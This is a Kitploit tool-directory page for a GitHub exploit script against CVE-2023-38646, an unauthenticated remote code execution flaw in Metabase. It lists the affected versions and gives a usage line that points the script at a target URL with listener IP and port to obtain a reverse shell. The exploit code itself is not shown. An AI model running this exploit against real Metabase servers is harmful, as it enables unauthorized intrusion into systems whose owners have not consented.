Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-38646 — This script is designed to exploit vulnerable Metabase software versions by providing you as attacker a shell. | Kitploit
Tools/GitHubGitHub/birdm4nw/cve-2023-38646
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubbirdm4nw/cve-2023-38646

CVE-2023-38646

This script is designed to exploit vulnerable Metabase software versions by providing you as attacker a shell.

View Repository
12 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-38646 - Metabase RCE

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

If the Metabase version is vulnerable, this script will allow you as attacker to get a shell connection on the target system.

Usage

root@kitploit:~
python3 CVE-2023-38646.py -u targetURL -lhost LISTEN_IP -lport LISTEN_PORT

Example

scriptCapture

Author: @birdm4nw

Reference

https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/

Download Tool